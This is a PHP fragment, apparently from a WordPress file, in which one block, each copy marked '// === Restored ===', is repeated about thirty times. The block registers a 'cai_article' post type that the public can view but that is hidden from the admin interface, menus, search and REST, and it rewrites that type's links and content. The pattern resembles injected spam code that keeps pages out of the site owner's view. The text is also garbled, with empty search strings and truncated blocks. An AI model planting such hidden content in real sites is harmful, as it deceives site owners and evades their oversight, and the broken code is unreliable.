"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
